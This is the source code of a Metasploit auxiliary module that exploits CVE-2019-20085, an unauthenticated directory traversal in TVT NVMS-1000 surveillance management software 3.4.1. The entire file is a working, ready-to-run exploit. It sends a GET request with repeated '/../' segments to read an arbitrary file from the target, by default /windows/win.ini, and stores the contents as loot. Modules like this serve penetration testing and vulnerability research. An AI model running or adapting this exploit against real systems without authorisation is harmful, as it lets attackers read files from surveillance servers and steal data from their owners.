##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TVT NVMS-1000 Directory Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability which
exists in TVT network surveillance management software-1000 version 3.4.1.
NVMS listens by default on port 80.
},
'References' =>
[
['CVE', '2019-20085'],
['EDB', '47774']
],
'Author' =>
[
'Numan Türle', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'DisclosureDate' => '2019-12-12',
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(80),
OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),
OptString.new('TARGETURI', [true, "The base URI path of nvms", '/']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
])
end
def run_host(ip)
filename = datastore['FILEPATH']
traversal = normalize_uri(target_uri.path, '/../' * datastore['DEPTH'], filename)
res = send_request_raw({
'method' => 'GET',
'uri' => traversal
})
unless res && res.code == 200
print_error('Nothing was downloaded')
return
end
print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'nvms.traversal',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end
